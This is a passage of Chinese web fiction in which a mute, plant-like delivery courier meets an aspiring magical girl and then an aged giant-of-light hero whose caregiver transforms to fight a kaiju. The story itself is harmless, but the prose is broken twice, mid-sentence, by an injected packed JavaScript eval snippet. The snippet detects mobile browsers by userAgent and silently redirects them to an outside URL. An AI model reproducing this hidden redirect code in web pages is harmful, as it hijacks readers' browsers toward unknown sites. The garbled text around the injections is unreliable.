“学姐猜对叻,它们一定会趁着傍晚来偷袭,还好我在这里。”她说。然后,她的右手伸进百褶裙的口袋,抓住了某个东西。 ——那个,要来了吗?我用最快的速度在地上躺下,选择了一个最舒适省力的姿势。 视线被桌板遮挡了,但桌板之外的视野中,我看到一阵炫目的光芒闪烁。她用带着口音的软绵声调高喊——“变身!” 瞬间,音乐声从四面八方响起,欢快的,愉悦的,悠扬的。眼前一下子充满了彩色丝带和气泡。桌板消失了,美术教室消失了,偷袭的怪人们也消失了,我仿佛置身于一片七彩斑斓的虚空。身体僵硬不能动弹,幸好我已经提前躺平。毕竟魔法少女变身过程中,时间是静止的,这合情合理。 (下一单就算超时,也有正当理由了,万分感谢。) 漫长的一分钟后,音乐和彩光都淡去了,她的身影逆光昂立于夕阳斜晖下,像一尊坚不可摧的铁塔。 我又从桌子底下探出头,看到铁塔穿着满是飘带和蕾丝的粉红色蓬蓬裙。裙子的尺寸对她来说小得可怕,泡泡袖被完全撑开了,腰后的拉链也根本没拉上,裙摆的长度才刚刚盖过下臀——所以她在裙子下又穿了一条运动长裤,配着帆布鞋;如果有某些狂热粉丝在场,她的这身打扮怕是会被挂到网上网暴三天三夜。 “……因为我还不是正式成员,所以没有我的战斗服,这件是学姐借我的,”可能是猜到我在想什么,她又不好意思地解释了一下,“那么,我来叻!” 说完这一句,她像炮弹一样弹射而出,飞踢,侧踢,正踢,勾踢,截步踢……她的腿法迅捷凌厉,如暴雨如雷电。在美术教室有限的空间里,她闪转腾挪,身如疾风。敌人碰不到她,却转眼被她的帆布鞋踩在脚下。最后,以一记利落的腾空月轮踢收尾,紧身衣怪人们怪叫着倒地了,化作烟尘消散。桌上的蔬果汁也倒地了,在倒地前被我一一接住,所幸没有打翻。 “搞三小!就这点本事还来偷袭,找死咩!”她又一脚踏上那堆灰尘,抬腿狠狠一扬,“下次不许来叻,滚蛋!” 说完,一道白光闪过,变身解除。她看到我满手的杯子,又一下子红着脸缩起身体:“对不起,我没注意桌上的东西……我来拿吧。” 不知道变身对她来说改变了什么,但性格似乎是变了一些。 我和她一起收拾好美术教室,把送货单递给她签收。她刚要落笔,突然想起什么事,抬头问我:“耽误那么久,你是不是要迟到了?下一单地址在哪儿?我送你去吧!” 我朝她摆手,没有必要。送餐途中发生战斗是不可抗因素,只要坦白交代,顾客和K都会理解的。 但她好像又没有看懂。把签收单交给我之后,她突然一把把我端起,用公主抱的姿势。 “我之所以会被推荐来这,是因为跑得快,”她笑嘻嘻地说,“我老家的幼儿园被坏人放了炸/弹,我在炸/弹引爆前30秒,把五十多个小朋友和老师都救出来了——你放心吧,肯定不让你迟到。” ……难得有个正当理由,我其实倒是想迟到的。 (而且我的摩托还停在校门口。) 老实说,这不是我第一次搭客人的便车,以前也有超级有钱的客户,用超级厉害的飞行器送我一程。但被女孩子抱在怀里赶路,属实是难得的体验。 下一单的地址在离学校三个街区之外的地方,不算远,本身AP0813也不是多大的地方。她抱着我,我抱着餐盒,一路风驰电掣。因为速度太快,行道树的落叶打在脸上都像耳光“啪啪”作响。终于,在挨了26个耳光之后,目的地到了。 她跟我确认了坐标,把我放下,又笑嘻嘻地挥手告别。 “学姐说,魔法少女要有个唱名,我还没想好……你先记住吧,我叫林雅婷,梦想是维护世界和平,”她想了想又说,“不对,梦想是成为魔法少女,维护世界和平。” 她要走了,我拉住她,冲她打手势:一定要做魔法少女吗? 她眨了眨眼睛,似乎没明白。 我很想告诉她,以她的情况,在AP0813是很难成为魔法少女的,或者说,她没法成为符合AP0813要求的超级英雄,这里满地都是白嫩娇小的女孩子,多她一个不多,少她一个不少。让外表柔弱纤细的小女孩拥有力量,只需要一秒钟的魔法;而要让拥有力量的小女孩变得柔弱纤细,需要一番旷日持久的再造重塑。她没必要非把自己往这个模板里塞。 但她也许看不懂,即便看懂了,多半也不会高兴。 我想了想,又跟她比划:“不变身,不也能战斗吗?” “那当然啦,就算不变身,我也能把坏蛋一脚踢到街对面去!”她又露出变身后的那种得意笑容了,然后凑到我耳边,压低声音,“刚才,要不是学姐的衣服太小了,我还能打得更快。” 我也朝她笑,但我没有足够的面部肌肉来做出接近人类的表情,这个笑看上去多半有些奇怪。林雅婷果然看得一愣,我赶紧压下嘴角。但愿这个她不要记住这个表情。 目送林雅婷离开之后,我看了看表——还好,虽然发生了一些事,但离客人要求的时间还有足足10分钟。 我抬头望望面前的疗养院大门,提起餐盒走了进去。 6.光之巨人的咖喱饭 林雅婷一离开,空气立刻充入我二维的胸腔,四肢躯干鼓胀起来,脑袋圆了,呼吸恢复了,体温和嗅觉也回来了。我提起餐盒,抬头望向面前的大门——AP0813最豪华,最高档,拥有最大占地面积,最多先进科技和最骇人单间价格的疗养院。 我也是第一次来这。就像之前说的,这个世界绝大多数的超级英雄都非常年轻,没有住疗养院的必要,就算送餐去幼儿园,也不可能去疗养院。我找出纸条看了一眼,上面写着的收件人姓名非常普通常见,也没有头衔或者后缀,和“林雅婷”差不多;也许是管理员代收吧,也不奇怪。 我走进大门。因为是第一次来,花了些时间向门卫解释我的身份。他们又啰啰嗦嗦地交代了好多话,什么“有人在”“别乱跑”,一个说得太快,一个又是结巴,我都没听清多少,就一边随便应和着,一边朝前走去。 到了大厅,果然发现很多黑西装的保镖,看样子确实有大人物到场,我一进去就被许多目光锁定,成捆成捆的锐利视线几乎在我脸上戳出洞来。还好,今天长的是未成年小女孩的样子,矮小瘦弱,看上去就是个勤工俭学的高中生,黑西装们只盯了我几眼,就又望向别处了。 纸条上的地址是7楼的727房间。电梯已经被黑西装控制,不准使用,我只能提着餐盒一层一层往上爬楼梯。越是往上,黑西装就越多,到了7楼,走廊上几乎挤满人——一半是保镖,一半是记者。 人很多,但安静极了,拥挤的走廊上只有呼吸声和衣料摩擦声此起彼伏,像在酝酿潮水的海浪。到底是谁来了?我费力地从人群中穿过,感觉自己像个肉丸,从K紧握的虎口挤出。走廊两侧的门牌号随着我的脚步一个个往前推进,有些下面挂着人名,有些是空白的。终于,我看到了收件人的名字,上面的门牌号是——727。 团,史,朗,727——没有错,是这里。 但727房门紧闭,门口拉着黄色警戒线,两个保镖一左一右地挺立。我只朝那扇门望去一眼,他们立刻把手伸向西装内侧,分分钟要掏出什么东西来了。 我赶紧举起餐盒,又把纸条递给他们看。他们对视,然后摇头:“不行,现在不能进。”其中一个把纸条上的收货时间指给我看:“还差5分钟,急什么?去旁边等着!” 非得这么准时? 既然不让进,我只好走到旁边,和那些一身汗臭的记者们站到一起。他们像狐獴一样踮着脚尖张望,手里的相机一个比一个举得高,手指悬在快门上,随时能按下,就像那两个保镖随时能(朝我)扣下扳机。 里面到底有谁在? 我深吸一口气,静下心来,左手抚上身旁的墙壁,几束细小的根须从指尖破出,扎入砖块,飞快地朝前生长。它们在楼层内部安静地蔓延,顺着水管电线一直穿入727号房。没有人察觉,我的一部分已经进入室内,在墙上悄悄萌芽。这些芽尖只有针眼大小,很难被发现,它们能敏锐地捕捉到空气中声波的震动——换句话说,监听。 我听到里面有人说话了,许多人,许许多多,他们在笑,鼓掌,热闹得很。 一个人说:“那不是多亏有您吗?” 另一个人说:“您一出现,我们从小到大的安全感就回来了。” 又有人说:“不管世界变成什么样,您永远是我们心目中的英雄。” 然后是一阵有组织的掌声。掌声落下之后,有人说:“要不,您再表演一下那个?” 有笑声低低地响了一下,应该是憋笑失败,紧跟着是一声呵斥:“混蛋,说什么失礼的话!”声音不小,却听不出怒意。 但房间里安静下来了。 我看了看时间,还有3分钟,应该快结束了吧,黑西装该撤离了吧,我可以进去了吧,我看最前面那个记者都快举不动相机了—— 突然,掌声再度爆发,比之前更响亮,都传到走廊上来了。还有人大喊:“厉害!”“了不起!”“对,就是这样!”“不愧是您!”更多的人在笑,不遮掩的笑,还有快门声响起,看来里面还有随行记者。 不能随行的记者们一阵骚动,推推搡搡地要往前挤,又被黑西装拦下。 里面到底在做什么?我忍不住又看了看纸条上那个名字:团史朗。 笑声响了好一会儿,中间还有人说话,又笑又鼓掌,又按快门。终于,有人开口:“那么我们告辞了。”然后727的门从里侧被“咚咚”敲了两下,守门的两个保镖立刻取下警戒线,剩下的保镖在一瞬间手拉手结成人链,隔开记者,强行在拥挤的走廊上摒开一条通道。 门打开了,快门声暴雨般响起,闪光灯闪烁如雷电。这场小型雷雨中,一个西装革履的白发老头从727号房走出来,绷着脸上的皱纹,朝人群挥手致意。 他身后,是又一个白发老头。 又一个。 又一个。 又一个。 …… 足足七个白头发白胡子老头,在保镖的护送下朝电梯走去。随行记者紧紧跟在后面,仿佛花童托着他们看不见的裙摆。黑西装的人链也撤离了,狐獴们终于可以放下举着相机的手,揉着酸痛的肩背,吵吵闹闹地走向消防楼梯。 走廊上只剩下我了。 我看看表,正好是客户要求的送餐时间,一分不多,一分不少。 727的门现在虚掩着,敞开一条漏光的缝。我截断左手指尖的根须,提起餐盒走到门前,敲了两下。 半开的门里响起一个年轻男人的声音:“一定是外卖到了——请进。” 我推门进去,看到有个年轻人站在正对门口的窗边。他大概20出头,眉眼清秀,身上穿着浅绿色的护工服,手中是一本翻开的笔记本,胸前口袋还插了一支笔。一看到我,他就把笔记本合上,转向护理床上的人,笑说:“您的饭来了。” 我的视线顺着他一转,看到支起的护理床上,有个老人倚着靠垫,歪头朝我望来。他看上去比刚才的访客的年纪都要大,几乎没剩下什么头发,鼻子里插着的氧气管,让他看上去像一条年迈的鲶鱼。他披了一件质地考究的薄棉袍,衣襟里伸出一些软管电线,另一头连在旁边的仪器上。他老得就像一张被打湿后又拧干的皱巴巴的纸,半眯的眼睛里漏出一星半点瞳光——那些老头大张旗鼓的就是来看他? 他是超级英雄? 老人突然朝我笑了笑,眼睛几乎被脸上的皱纹覆盖。他晃晃悠悠地伸手要摘掉氧气管。旁边的护工立刻上前帮他取下,挂到一边。 “别担心,我还能,吃饭,”他慢慢地吐字,“胃口,好得很,不会,浪费。” ——是我刚才盯着他看得太久,让他觉得我在想什么没礼貌的事了。我赶紧在一旁的桌子上放下餐盒,那个年轻的护工也来帮忙。我打开盒子,发现里面是两个容器,一个放了热乎乎的米饭,另一个摸着烫手,一打开,一股浓郁的香料气息扑面而来。 老人半眯的眼里放出光来:“哦,咖喱。” 护工盛了一小盘米饭,又浇上一勺咖喱,摆上勺子,转身笑嘻嘻地端给他:“来尝尝,是不是您年轻时候吃过的味道。” 年轻时候的味道?看来他过去也吃过K做的饭——那应该是去店里吃的吧?K见过他?我忍不住又想开去,回过神来,发现老人单手握着勺子盯着我看,盘子里的咖喱饭动都没动。 怎么了?我用眼神询问。 “能不能,再给我,一个勺子?”他开口。 当然可以,我立刻从包里摸出一个干净的饭勺。我总是随身带着各种餐具,以备不时之需——不过他要两个勺子干嘛? 老人接过第二个勺子,握在另一只手里端详了一会儿,缓慢地露出笑容。他又抬起头来望着我,突然举起双手,一左一右两只饭勺像镜片似的贴上眼睛:“唰!” ……? 他在做什么? 我一时愣住,只看见银光闪闪的勺子上映出自己呆滞的脸。 旁边的护工倒是笑起来了:“您可真是的。” 老人似乎对我的反应很失望。他放下举着勺子的手,看了我一会儿,又举起双臂,一只手平放,一只手竖直,摆出L型的姿势:“唰——嘣!” ? 他到底在做什么? 见我又没有反应,老人收起胳膊,摇头叹气,叹完又朝我笑:“工作很累吗?开心点,年轻人要开开心心,笑一笑。” ……原来是在逗我笑。可我既没有那么多面部肌肉,也没有像人类那样丰富敏锐的情绪。要是像刚才对林雅婷那样模仿人类的笑,说不定反而会把他吓到。 我想告诉他,我不笑并不是因为心情不愉快,但老人已经移开视线,望向窗外:“我也只会,这一招,逗逗老头,还行,逗小孩儿,不管用。现在的小孩……都不知道我,”他转回头来,又冲我仰起脸,“你别看,我现在这样,年轻时候,也,很帅哦!还有,外太空的超人,附身到,我身上,和我一起,打怪兽。” 超人,附身,打怪兽——原来他是这类型的超级英雄,我恍然大悟。 “不过,他现在,已经走了,故事,结束了,我也老了……只能,当个吉祥物,逢年过节,让当官的,来参观,拍照。”老人的声音低下去了。旁边的护工开口道:“您快吃吧,饭要凉了。” 说完,他转向我:“送餐辛苦了,单子我来签收吧。” 虽然我是第一次来,但他对这一流程倒是很熟的样子,也许是被专门培训来照顾超级英雄的。我点点头,掏出签收单递给他。 “稍等,我找支笔。”护工接过单子,又转身去翻找一边的抽屉。我想提醒他,他胸前口袋就插着一支,但他很快就找到了一个笔盒,从里面抽了一支出来。 ——一瞬间,脚下的地面猛烈一晃,窗台上的花瓶“咣当”倒地。护工朝我大喊一声:“小心!”同时飞身扑向老人,张开双臂把他护在身下。 是地震,但并不剧烈。我对地质变化非常敏感,在震动发生的前一秒就已经察觉到,并抓住护理床的栏杆稳住身体,同时端起咖喱饭确保它不被打翻。地面的摇晃很快就平息了,我松开抓着栏杆的手,把咖喱饭放回到桌板上,转头看到护工正在安抚老人。但老人的眼神看上去有些兴奋,比先前看到咖喱饭还要兴奋。 “怎么回事?怎么回事?怪兽又来了?”他连声问护工,又转向问我,“怪兽又来了?那他们也要回来了?” 他们? “您别胡思乱想了,只是小地震。”护工摆正靠垫,又调节了一下床背的角度,让老人半躺下来,重新为他戴上氧气管。AP0813确实常年有地震发生,像这样烈度又低,时间又短的小震,比台风还常见,不足为奇。 “不,是怪兽,是怪兽来了,”老人笃定地说,“我打过怪兽,我知道——这是怪兽来了,怪兽又来了!” 护工无奈地笑笑,朝我递来一个眼神。我懂他的意思。我刚才也发现了,老人虽然看上去健朗,但大脑的局部功能已经退化,在日常生活之外,他的思维和记忆中还有另外一个自己。 毕竟,一旦成为过英雄,终生都很难走出往日的光辉。 老人从床上坐起,睁大眼睛盯着窗外,徒劳地盯了一会儿,又长出一口气,缓缓靠下身体:“是不是,他们已经放弃地球了?他们不会再来了?” 他们? 护工显然知道他在说什么。他又笑,帮老人倒了杯水:“他们一直都在,从来没离开过。” “你骗人,”老人盯着他,“我是最后一个,我的故事结束后,就再也没有看到他们出现了……是不是现在的小孩子都不喜欢他们,喜欢更花哨,更刺激的故事……所以他们也走了,不再来了?” “怎么会,”护工说,“他们不出现,是因为现在的科学防卫军非常强大,就算怪兽又来,我们也能把它们打退——不能永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361888|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依靠别人的帮助,这不也是他们教给我们的吗?他们一直都在,当我们真的需要的时候,他们就会从天而降,和我们一起守护世界和平。” 他一边说着这些话,一边用勺子舀了一勺饭,递到老人嘴边。从我进来开始,他一直保持着柔和的微笑,只有刚才的地震让他的笑容中断了一下。 但老人不理不睬。K精心烹制的咖喱没能让他再次两眼放光。 护工轻轻叹了口气,放下勺子,转头看到我,如梦初醒地“噢”了一声:“抱歉,单子还没给你。” 很高兴他能想起这回事,但现在不是单子不单子的时候。我一手抓起餐盒,另一只手指向门口,朝他打了个“跑路”的手势。就在他说话的时候,我捕捉到来自地下的异常振动,和刚才地震有些不同,没时间去仔细辨别——总之,不妙,得跑。 护工愣了一下。 我的手还没有收回,地面猛烈地摇晃起来。窗户震颤,玻璃崩裂,桌面上的东西全部“乒乒乓乓”掉下来摔得粉碎,天花板的顶灯闪个不停。护工一下子明白过来,再次用身体护住老人,同时朝我大喊:“柜子旁边,轮椅!” 我扭头,看到另一侧的柜子边上,放着一把折叠轮椅。我一步跨过去,提起轮椅;轮椅的重力感应系统自动启动了,支架“呼”的一下打开,椅背放倒。护工一把抱起老人,把他放在轮椅上。椅背立刻支起,四肢和躯干的位置自动扣上磁吸保护装置。不愧是最贵的疗养院。 “跟我走,去避难所。”护工说完,在剧烈的颠簸中推着轮椅先一步冲出房间。 看来他也察觉到了这次震动的异样,不适合原地避险。我背着餐盒跟在两人身后,穿过摇晃的走廊,冲向另一侧的逃生梯。这栋楼理应有着最先进的防灾防震设计,但眼下它就像暴风雨中的舢板一样摇摆震颤。地面绽开裂缝,墙体断裂,钢筋弯折,楼体成了最危险的地方;一路上还有许多慌乱逃跑的人,老人,中年人,穿着护工服的年轻人……所有人都朝着同一个方向奔跑,像在灾变到来前仓皇逃窜的鼠群。 “是怪兽,怪兽来了!”老人冲奔逃的人们大喊,“不要怕,我在这!我来保护你们!” 他的轮椅是磁悬浮的,没有受到太大的颠簸,但他不停地挣扎,想从椅子上站起来,跳起来,跑出去;护工不得不又腾出一只手扶住他的身体。一路跑到逃生梯,护工让我帮忙搀扶老人,自己熟练地单手收起轮椅,放到不会阻碍通行的墙角,然后拉过老人的胳膊,让他趴在自己背上。这一套动作做完,用了还不到3秒。 “连累你了,很抱歉,”他背着老人,头也不回地往楼下走,“先跟我们避难吧!” 确实只能先避难了。不知道这次灾难影响的只是他们的故事,还是这条世界线本身——但踏板摩托还停在林雅婷的学校门口,我跑不了。 疗养院里的人几乎都从大楼撤离了,工作人员正组织老人们有序地进入院区另一侧的避难所。地面还在震动,四周的建筑开始倒塌,大楼前的草坪上人来人往。所有人都很惊慌,但没有人乱叫乱跑,每个人脸上都像贴了一张密不透气的薄膜,把慌张和恐惧闷进嘴里。 突然一声巨响,疗养院的楼体一整个裂开,从中间裂成了两半。巨大的水泥岩块轰然坠地。许多人摔倒了,还有人被砸中了,到处是碎石和血块。一片慌乱中,我感觉到一股风势从天空袭落,潮湿,温热,短暂,粗重——像是鼻息。 我抬起头,视线越过裂开的大楼,看到一个山一样高耸的黑影正晃动着逼近。又是“轰”的一声,布满鳞片的粗长尾巴重重扫来,楼体彻底被一分为二。一整块楼板被巨爪牢牢握住,“咔嚓”一声掰开,就像掰断一块饼干。 然后,一对橙黄色的,像太阳一样燃烧着的巨大眼睛,从百米之上的半空望落。 是怪兽。 “是怪兽——!” 顿时,一直被压抑的尖叫声哭喊声从四面八方炸响。克制的平静的被打破了,有序撤退的人群被冲散了,人们推搡着奔逃,年迈的人被推倒在地,年轻人被地上的躯体绊倒,越来越多的哭嚎响起。仅仅半分钟,眼前就像换了一个世界。 “不要怕,不要害怕!”老人大喊道,“有我在!我来打倒怪兽!” 他挣扎着要从护工背上下来,我一把把他扶住。护工怕他乱动摔伤,赶紧把他放到地上,紧紧抓住他的手:“不要担心,科学防卫军会来的,交给他们年轻人!” 话音刚落,空中传来飞行器的轰鸣。几艘银色的小飞机组成战斗方阵,绕着怪兽盘旋,射击。射出的导/弹还在半空就被怪兽抬手拍落,炸毁了一旁的民宅。 “多少年了,还是这副样子!”老人跺脚大喊,“让我去,我是他们的人间体!让我去打怪兽!” 草坪上的人群已经疏散了大半,伤员也正被搀扶着朝避难所移动,剩下的是摔倒后失去意识的老人们,不能放着不管,但眼下确实也无暇顾及。护工皱着眉头,朝我望来。 “麻烦你照顾他,”他说,“避难所就在北边的空地,你可以跟着他们走。” “我不需要照顾!”老人大喊道,“我还能战斗!让我去——” 他还没有说完,护工飞快抽出了胸前口袋的那支笔,朝他一晃。只见一道银光闪过,老人一下子闭上眼睛,陷入沉睡,身体斜斜地歪倒。我赶紧伸手接住了他。 “拜托你了。”护工说。 然后,他大步跑向怪兽的方向,右手高高举起,那支银色的笔在他手中像火炬一样闪亮。又是一道光芒闪过,比刚才更强烈,更灼目,我措不及防,一下子看不见了。同一瞬间,一股热浪如潮水般汹涌而来,我听见“唰”的一声,紧接着,地面震颤——有新的来客踏上了这艘摇晃的舢板。 再睁开眼睛的时候,我看到一个银色的巨人挺立在苍穹之下。 我想起来了,这是光巨人,存在于AP0813传说中的超级英雄族类。 7.年轻人 接下去,是银色巨人的表演时间。 身高几十米的巨人,身形矫健,周身缠绕覆盖着红色线条,胸口嵌合一枚晶莹闪烁的蓝色宝石。一对硕大的浅金色眼睛占据了头部一半的空间,眼睛的形状是斜立的椭圆,就像——就像把咖喱饭的勺子贴在脸上。 他继承了前辈们的传统造型,同时又有着新时代的审美特色。巨人沉声一喝,摆出了战斗姿势,发动攻击。 没有花哨的武器和华丽的技巧,他用拳头捶击,用手掌拍打,用膝盖蹴踢。他用身体为盾,缓慢而稳定地把怪兽一点点驱逐出疗养院的范围。确实是朴素的战斗方式,没有能吸引孩子的炫目声光效果,并且因为四周都是房屋,他也没法尽情施展身手,就像一只被塞进鸡笼的大雁——这个念头刚刚闪过我的脑海,巨人从胸前的宝石中抽出了一把激光匕首,开始灵巧地挥刺,劈砍。在一声嘶哑的嚎叫中,刀刃带动的炫丽光波斩落了怪兽头顶的长角,橙黄色的血液四散喷溅。 ……嗯,不愧是年轻人,知道现在的孩子爱看什么。 这片刻的停顿中,巨人回身低头朝我一望。我立刻想起刚才他交代我的事——得把老人带去北边的避难所。 老人正在我怀里熟睡,或者说,失去意识,但呼吸平稳。我拉起他的胳膊,也没让他从梦中醒来。于是我把他像米袋一样往肩上一扛,朝避难所跑去。他老得像一块蛀空的木头,扛起他根本不费多少力气。 我才跑了几步,地面突然猛烈一震,一只桥墩似的粗壮脚爪从天而降,重重踏落在我面前。是怪兽,或许是为了躲避攻击,它突然一步跨进了疗养院的草坪,尖爪深深戳入泥土。我赶紧后退几步,在晃动中稳住身体,收紧手臂,确保老人不会从我身上滑落。 但还没有结束。巨人刚才的攻击似乎让怪兽狂暴了,它开始不停地蹦跳,踢翻围墙,拔起路灯,砖块和玻璃碎片像雨点一样从空中打落下来。我试图躲开,可附近是空地,没有可以闪避的空间。我急中生智,奔跑躲避的同时,把全部注意力贯注到肩膀,肌腱顿时一阵抽痛。然后,一支粗实的茎秆从肩头长出,展开一片大而坚韧的叶子。 叶子像伞一样覆盖了我们。虽然生长的时间有限,但它足够厚实,能抵挡一部分碎砖碎石,不需要太久,只要为我们争取到足够跑到避难所的时间—— 突然又是一阵剧烈的摇晃,我只觉得视野一暗,瞬间失去重心。紧接着,肩头的茎秆被抓住了,我和老人连带着被高高提起,升上半空。 我睁大眼睛,正好与一双橙红色的巨眼四目相对。它的眼睑布满碎岩似的鳞片,额头断角的伤口流出浓稠浑浊的液体,一直流进眼睛里。 下一秒,怪兽大张开嘴,暗紫色的气体从它的喉头喷射而出。我赶紧闭上眼睛屏住呼吸,来不及做些什么来保护老人了,但愿那气体不会造成太大伤害—— 尖锐的破风声贴着脸颊传来,身体猛然一晃,茎秆被折断了,我顿时从半空中掉下。上一次有这种体验,我还是一粒小小的种子。我不敢轻举妄动,只能紧紧抓住老人。他没事吗?他还没有醒吗?超级英雄毫无疑问能获胜,但我呢?这一次要是能顺利回去,我一定要狠狠敲K的脑袋! 下坠只维持了短短一瞬,我们突然落到一个宽大又柔软的物体上。我确认了老人的呼吸,又转头朝四周一望——是手,我们落在一只银色的大手上了。 大手微微收拢,让我们不至于掉下半空。然后,巨人转身,似乎是要把我们放到另一处的平台上。可他的手还没有放下,地面接连摇晃,怪兽朝他一头撞来。他下意识地要用手掌撑住身体,才刚一伸手,又立刻停下。这瞬间的破绽中,他被重重撞翻在地。怪兽的断角刺入了他的肩膀。 巨人瘫倒在地上,虚握着空拳,把手藏在身侧。他要用另一只手支撑身体站起,怪兽紧跟上前,用脚爪踩踏,用尾巴劈扫,手臂上的鳞片化作爆/弹飞来,在他身上爆炸。巨人无法闪避,又不敢松手反击,只能用空着的手护住头脸。很快,他胸前的宝石发出不妙的红光,浅金色的巨大眼睛闪闪烁烁,像电压不稳的灯泡。 我想起来了,他们这一族的设定中存在活动时限,时间快要结束的时候,胸前的宝石会亮起警报——那,如果到了时限还没有解决敌人,会发生什么? 我突然对“超级英雄必胜”的定律产生一丝动摇。 也许是意识到时间不多,巨人奋力支起身体,可立刻被怪兽一脚踢翻。它双足的尖爪粗壮坚硬,如同黑铁船锚,一下又一下刺入巨人的身躯、双腿、手臂……巨人胸前的红灯闪得越来越急促,警报声越来越响亮,他眼中的光芒却开始暗淡,胸口也随着呼吸剧烈起伏。可不管遭受了怎样的攻击,他始终把握着我们的那只手稳稳地护在身侧。 所以……如果我们不在这里,也许他就不会这么狼狈,也不会被打倒…… 突然,我听到许多人的声音从另一侧传来。大多是老人年迈嘶哑的嗓音,也有年轻人充满生命力的呼喊。他们在说—— “加油!” “站起来!” “振作啊!加油!” “干掉它!” 我从巨人的指缝里朝外望去——是避难所的人们,他们挤在几方狭小的瞭望窗前,正朝这边大声叫喊。几个老人从窗口伸出干瘦的手臂,奋力挥舞。又有几发光弹从眼前掠过,打在怪兽坚硬的鳞片上,砸出微小的火花。是之前坠机的飞行员赶到了,他们脸上身上挂着血污,正躲在掩体后,朝怪兽拔枪射击,试图吸引它的注意,为巨人争取一些回转的时间。 巨人的面部覆盖着坚硬的银色物质,这让他无法做出任何表情。但我察觉到他的呼吸慢慢稳定下来,重新变得深长。 “加油!”一个苍老厚重的声音高高扬起,像曙光破开云层,“我从小看着你们的故事长大,还讲给我的孙子听,不要输啊!” 巨人的金色眼睛闪烁了一下,然后坚定地亮起。 他身上的伤口没有消失,红色的警报也没有消失,并且因为时间的流逝,警报声变得愈发尖锐。但是力量似乎重新回到他的身体了。他猛地抬起手臂,挡住了怪兽的又一次攻击。这让怪兽一愣,巨人立刻趁着这一瞬的空隙翻身立起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379971|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一记膝蹴猛击它的正脸。嚎叫声再次炸响。但巨人没有给它逃跑的机会,他一把抓住了它的断角,狠劲一拽,把剩下的那截连根拔起。顿时,大股粘稠的液体从新创的孔洞里喷射出来。然后,是雨点般的直拳,勾拳,摆拳,鞭拳……巨人单用一只手把怪兽打得连连败退。又是一记直击面门的重拳之后,他单手抓住了怪兽的尾巴,猛力一抡,把它高高抛起。怪兽庞大的身躯直飞上半空中,巨人紧跟着抬手,挥出一道圆月形的光刃。 “那个!快使用那个!用那个!用那个!该用那个了!”我听到地面上传来许多人的呼喊。 巨人也听见了。光刃把怪兽的身体肢解的瞬间,他再次举起手臂,一手直立,一手平放,双臂在胸前摆出L形的姿势。一束高热的粒子光波从他小臂和手掌中射出,命中半空中的怪兽。 巨大的烟花炸开了,地面上的欢呼声也炸开了。我双手紧紧抓住昏睡的老人,让他靠在我身上。一条藤蔓从我的后背长出,另一头缠绕在巨人的手指上——刚才那一瞬间,他可能是忘了我们还在他掌心,没关系,可以理解,我们荡在手背上也挺好。 巨人放下双手,地面的欢呼如水汽蒸腾而起。他的前辈们不知迎接过多少次这样的时刻。这应该是他的初次登场,就像年轻的狮子结束了第一次捕猎。老人们从避难所跑出来了,附近的居民也聚集起来。无数双眼睛注视着他,年迈的,年少的,年幼的。胸前闪烁的红色警报成了庆祝胜利的乐曲。许多人朝他挥手,也有人朝他跑来。这是故事的开端,他们还不知道他的真实身份,英雄的他与平凡的他暂且被分割为二。我悬挂在他的手指上,与他一起接收来自四面八方的声浪。 “看到了吗?这就是妈妈小时候见过的光巨人!他们是无敌的!” “他们回来了!” “怪兽还在活动,他们当然也会归来!” “每当时代需要的时候,光巨人就会出现!” “我们那一代的孩子,都会背光巨人的五大誓言!” 我低头望向老人。他依旧紧闭双眼,只是眼角似乎有泪光闪动。 我用力拉了一下背上的藤蔓,又一下,又一下。手指的轻微抽痛终于让巨人回过神来。他如梦初醒,赶紧抬起我们挂着的那只手。虽然他没法做出表情,但我从他脸上读出了慌张和歉意。 巨人弯腰,单膝跪下,把老人轻轻送向地面。早已有护工带着轮椅赶来等候。他们轻手轻脚地安置好他,为他盖上毛毯,平稳又快速地前往避难所。 “超级英雄也会老啊。”我听到一个女护工轻轻地说道。 巨人转向了我,金色的大眼睛投来询问的目光。同为不会说话,又很难做出表情的族类,我读懂他的意思比他们拿筷子吃饭还要容易。我伸手指向林雅婷的学校。巨人点了点头,抬手把我放到肩上。我知道他要做什么,飞快俯身卧倒,牢牢抓住他坚硬的表皮。 巨人挺直了身体,抬头望向天空,身形像利剑裂开夕阳。然后,他高举双手,在沸腾的欢呼声中蓄力一蹬,朝天际飞去。 朝林雅婷的学校飞去。 8.沙暴 巨人是在半空绕了一圈,营造出“故事结束,英雄离场”的氛围之后,才把我放到那所高中门口的。与其他世界不同,AP0813的超级英雄对着装没有过分要求,但在行为细节上有许多看似莫名其妙,可有可无,却必须遵守的条例。对光巨人一族来说,“一定要在众人的注视下飞向天空”就是不可违背的守则之一。 (另一条是“只有在最后一集才能把自己的真实身份透露给其他人”……但我应该不算其它人吧?) 巨人把我在校门口放下,我一眼就看到踏板摩托安然停放在原位。看来怪兽只在光巨人的故事范围内出没,这里一切如常,周围的路人也没有对从天而降的巨大银色外星人表示震惊,或许是因为属于不同的故事,所以压根就看不见。我转头朝疗养院的方向望去,那里的天空已经开始滚动播放演职人员表了。 我朝巨人比了一个“谢谢”的手势。他点点头,又伸出食指,对着自己坚硬的嘴角一提——钢铁嘴角当然纹丝不动,但他表达的是……“笑”?笑什么?没让我来得及问,巨人再次高举双臂,“唰”的一下飞走了。 